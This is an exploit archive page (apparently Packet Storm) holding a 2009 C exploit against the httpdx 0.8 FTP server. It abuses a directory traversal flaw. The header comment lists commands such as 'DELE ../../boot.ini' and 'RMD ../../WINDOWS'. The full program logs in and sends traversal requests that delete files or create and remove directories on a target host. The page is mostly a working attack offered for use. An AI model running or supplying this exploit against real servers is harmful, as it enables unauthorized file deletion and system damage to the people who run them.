what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

httpdx 0.8 FTP Server Delete/Get/Create

httpdx 0.8 FTP Server Delete/Get/Create
Posted Jun 8, 2009
Authored by Jonathan Salwan | Site shell-storm.org

httpdx FTP server versions 0.8 and below suffer from remote arbitrary manipulation of directories and files.

tags | exploit, remote, arbitrary
SHA-256 | a3e9a9283c20069648c8fa9aad5f3d43ff9bacc75d4b709278253ce96a4aff77

httpdx 0.8 FTP Server Delete/Get/Create

Change Mirror Download
/*
Httpdx Server FTP v0.8 Remote Arbitrary Directories & files Vulnerability
-------------------------------------------------------------------------

Arbitrary:
----------
The vulnerability is caused due to an input validation error when processing FTP requests. This can be
exploited to read, modify, or delete arbitrary files from the affected system via directory traversal
attacks.

--------------------------------------------------------------------------------------------------------

FTP Service:
------------
You can delet file boot.ini => DELE ../../boot.ini
You can get file boot.ini => RETR ../../boot.ini
You can creat Directory => MKD ../../poc
You can delet Directory => RMD ../../WINDOWS


Author: Jonathan Salwan
Mail : submit [AT] shell-storm.org
Web : http://www.shell-storm.org
*/

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"

int syntax(char *file)
{
fprintf(stderr,"\nHttpdx Server FTP v0.8 Arbitrary Directories & files\n");
fprintf(stderr,"-------------------------------------------------------\n");
fprintf(stderr,"=>Syntax : <%s> <ip> <port> <login> <passwd> <option> <argument_option>\n\n",file);
fprintf(stdout,"=>Option : -df\t\tDelet File\n");
fprintf(stdout," -cd\t\tCreat Directory\n");
fprintf(stdout," -dd\t\tDelet Directory\n\n");
fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 passwd2 -df ../../boot.ini\n", file);
fprintf(stdout," : %s 127.0.0.1 21 login1 passwd2 -cd ../../poc\n", file);
fprintf(stdout," : %s 127.0.0.1 21 login1 passwd2 -dd ../../WINDOWS\n\n", file);
exit(0);
}

int main(int argc, char **argv)
{
if (argc < 6)
syntax(argv[0]);

int port = atoi(argv[2]);

int mysocket;
int mysocket2;
int srv_connect;
int sockaddr_long;


struct sockaddr_in sockaddr_mysocket;
sockaddr_long = sizeof(sockaddr_mysocket);
sockaddr_mysocket.sin_family = AF_INET;
sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
sockaddr_mysocket.sin_port = htons(port);

char request[50];
char answer[100];

fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);

mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
if(mysocket2 == -1){
fprintf(stderr,"[-]FAILED SOCKET\n");
return 1;}

srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);

if (srv_connect != -1)
{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);

if(!strcmp(argv[5], "-df")){
sprintf(request, "USER %s\r\n", argv[3]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);
}
sprintf(request, "PASS %s\r\n", argv[4]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);
fprintf(stdout,"[+]>>%s",answer);
}
sprintf(request, "SYST\r\n");
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);
fprintf(stdout,"[+]>>%s",answer);
}
sprintf(request, "DELE %s\r\n", argv[6]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request DELE\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);
fprintf(stdout,"[+]>>%s",answer);
}
}


if(!strcmp(argv[5], "-cd")){
sprintf(request, "USER %s\r\n", argv[3]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);
}
sprintf(request, "PASS %s\r\n", argv[4]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);
fprintf(stdout,"[+]>>%s",answer);
}
sprintf(request, "SYST\r\n");
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);
fprintf(stdout,"[+]>>%s",answer);
}
sprintf(request, "MKD %s\r\n", argv[6]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request MKD\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);
fprintf(stdout,"[+]>>%s",answer);
}
}


if(!strcmp(argv[5], "-dd")){
sprintf(request, "USER %s\r\n", argv[3]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);
}
sprintf(request, "PASS %s\r\n", argv[4]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);
fprintf(stdout,"[+]>>%s",answer);
}
sprintf(request, "SYST\r\n");
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);
fprintf(stdout,"[+]>>%s",answer);
}
sprintf(request, "RMD %s\r\n", argv[6]);
if (send(mysocket2,request,strlen(request),0) == -1){
fprintf(stderr,"[-]Send Request RMD\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}
else{
memset(answer,0,100);
recv(mysocket2,answer,sizeof(answer),0);
fprintf(stdout,"[+]>>%s",answer);
}
}


}

else{
fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
shutdown(mysocket2,1);
return 1;}


shutdown(mysocket2,1);


fprintf(stdout,"[+]Done!\n", argv[5]);
return 0;
}


Login or Register to add favorites

File Archive:

June 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    18 Files
  • 2
    Jun 2nd
    13 Files
  • 3
    Jun 3rd
    0 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    32 Files
  • 6
    Jun 6th
    39 Files
  • 7
    Jun 7th
    22 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close